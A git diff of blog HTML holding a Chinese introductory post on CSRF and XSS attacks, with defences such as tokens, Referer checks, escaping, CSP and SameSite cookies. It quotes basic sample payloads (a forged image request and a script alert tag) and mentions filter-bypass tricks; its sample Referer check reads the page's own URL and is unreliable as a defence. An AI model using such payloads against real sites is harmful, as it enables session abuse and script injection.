y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解CSRF攻击和XSS攻击</h1><div class=post-meta><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3CSRF%e6%94%bb%e5%87%bb%e5%92%8cXSS%e6%94%bb%e5%87%bb.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>CSRF</p><p>CSRF：跨站点请求伪造(Cross—Site Request Forgery)</p><p>CSRF实质上就是盗用身份，来实现发送恶意请求</p><p>在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求</p><p>例如：</p><pre><code>&lt;img src =&quot;http://xxx.xxx/test?xxx=666&quot;&gt;
-</code></pre><p>只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等</p><p>而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求</p><p>这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击</p><p>还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录</p><p>JavaScript简单实现方法</p><pre><code>let referer = document.location.href;
-if(referer != null &amp;&amp; referer.startsWith(&quot;https://xiaochenabc123.test.com&quot;)){
-    console.log(&quot;验证成功!!!&quot;)
-}else{
-     console.log(&quot;验证失败!!!&quot;)
-}
-</code></pre><p>防御措施：token身份验证，页面来源验证（referer）等等</p><hr><p>XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS</p><p>XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的</p><p>例如：在某个页面评论上加&lt;script>alert(&lsquo;hack&rsquo;)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序</p><p>做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出</p><p>也用通过过滤&lt;script>标签的，但是可以通过大小写绕过（html不区分大小写）</p><p>简单的防御方法：</p><p>通过严格的过滤白名单来过滤，限制输入值的类型</p><p>html实体编码转义，htmlspecialchars()或者htmlentities()</p><p>X-XSS-Protection</p><p>xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容</p><hr><p>同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域</p><p>同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）</p><p>可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等</p><p>跨域通信的方式：jsonp，hash，postmessage，websocket，cors</p><p>同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信</p><p>内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击</p><p>内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好</p><p>要开启CSP需要服务器返回Content-Security-Policy头部</p><p>html也可以配置该策略，例如：</p><pre><code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src 'self'; img-src https://*;&quot;&gt;
-</code></pre><p>其中img-src对应的指定图像或者图标的有效来源</p><p>常用的有img-src，font-src，script-src，style-src等等</p><p>CSRF</p><p>X-Frame-Options：DENY/SAMEORIGIN</p><p>可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值</p><p>Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie</p><p>中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/csrf/>CSRF</a></li><li><a href=https://xiaochenabc123.github.io/tags/xss/>XSS</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/100/><span class=title>« Prev</span><br><span>Koa框架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/97/><span class=title>Next »</span><br><span>Redis学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解CSRF攻击和XSS攻击","item":"https://chenjunlinabc.github.io/posts/99/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解CSRF攻击和XSS攻击","name":"简单了解CSRF攻击和XSS攻击","description":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href; if(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){ console.log(\u0026quot;验证成功!!!\u0026quot;) }else{ console.log(\u0026quot;验证失败!!!\u0026quot;) } 防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt; 其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）","keywords":["CSRF","XSS"],"articleBody":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href; if(referer != null \u0026\u0026 referer.startsWith(\"https://xiaochenabc123.test.com\")){ console.log(\"验证成功!!!\") }else{ console.log(\"验证失败!!!\") } 防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤","wordCount":"66","inLanguage":"en","datePublished":"2021-09-12T17:00:00Z","dateModified":"2021-09-12T17:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/99/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单了解CSRF攻击和XSS攻击</h1><div class=post-meta><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%ba%86%e8%a7%a3CSRF%e6%94%bb%e5%87%bb%e5%92%8cXSS%e6%94%bb%e5%87%bb.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>CSRF</p><p>CSRF：跨站点请求伪造(Cross—Site Request Forgery)</p><p>CSRF实质上就是盗用身份，来实现发送恶意请求</p><p>在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求</p><p>例如：</p><pre><code>&lt;img src =&quot;http://xxx.xxx/test?xxx=666&quot;&gt;
+</code></pre><p>只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等</p><p>而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求</p><p>这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击</p><p>还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录</p><p>JavaScript简单实现方法</p><pre><code>let referer = document.location.href;
+if(referer != null &amp;&amp; referer.startsWith(&quot;https://xiaochenabc123.test.com&quot;)){
+    console.log(&quot;验证成功!!!&quot;)
+}else{
+     console.log(&quot;验证失败!!!&quot;)
+}
+</code></pre><p>防御措施：token身份验证，页面来源验证（referer）等等</p><hr><p>XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS</p><p>XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的</p><p>例如：在某个页面评论上加&lt;script>alert(&lsquo;hack&rsquo;)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序</p><p>做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出</p><p>也用通过过滤&lt;script>标签的，但是可以通过大小写绕过（html不区分大小写）</p><p>简单的防御方法：</p><p>通过严格的过滤白名单来过滤，限制输入值的类型</p><p>html实体编码转义，htmlspecialchars()或者htmlentities()</p><p>X-XSS-Protection</p><p>xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容</p><hr><p>同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域</p><p>同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）</p><p>可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等</p><p>跨域通信的方式：jsonp，hash，postmessage，websocket，cors</p><p>同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信</p><p>内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击</p><p>内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好</p><p>要开启CSP需要服务器返回Content-Security-Policy头部</p><p>html也可以配置该策略，例如：</p><pre><code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src 'self'; img-src https://*;&quot;&gt;
+</code></pre><p>其中img-src对应的指定图像或者图标的有效来源</p><p>常用的有img-src，font-src，script-src，style-src等等</p><p>CSRF</p><p>X-Frame-Options：DENY/SAMEORIGIN</p><p>可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值</p><p>Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie</p><p>中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/csrf/>CSRF</a></li><li><a href=https://chenjunlinabc.github.io/tags/xss/>XSS</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/100/><span class=title>« Prev</span><br><span>Koa框架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/97/><span class=title>Next »</span><br><span>Redis学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/axios\347\275\221\347\273\234\350\257\267\346\261\202\345\272\223\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/axios\347\275\221\347\273\234\350\257\267\346\261\202\345\272\223\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index d2b7ffe2..3e9dd106 100644
--- "a/posts/axios\347\275\221\347\273\234\350\257\267\346\261\202\345\272\223\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/axios\347\275\221\347\273\234\350\257\267\346\261\202\345\272\223\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Axios%e7%bd%91%e7%bb%9c%e8%af%b7%e6%b1%82%e5%ba%93%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/2/><span class=title>« Prev</span><br><span>简单了解SEO</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
